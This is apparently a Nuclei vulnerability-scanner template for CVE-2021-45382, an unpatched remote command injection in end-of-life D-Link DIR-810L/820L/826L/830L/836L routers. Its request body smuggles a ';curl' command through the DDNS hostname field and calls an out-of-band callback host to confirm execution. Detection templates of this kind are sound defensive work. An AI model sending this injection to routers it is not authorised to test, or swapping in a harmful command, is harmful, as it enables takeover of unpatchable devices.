D-Link - Remote Command Execution

id: CVE-2021-45382

info:
  name: D-Link - Remote Command Execution
  author: king-alexander
  severity: critical
  description: |
    A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
  remediation: |
    DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45382
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
    - https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45382
    cwe-id: CWE-78
    epss-score: 0.96989
    epss-percentile: 0.9972
    cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-820l_firmware
  tags: cve2021,cve,dlink,kev,rce
variables:
  string1: "{{to_lower(rand_base(5))}}"
  string2: "{{to_lower(rand_base(6))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/ddns_check.ccp"

    body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
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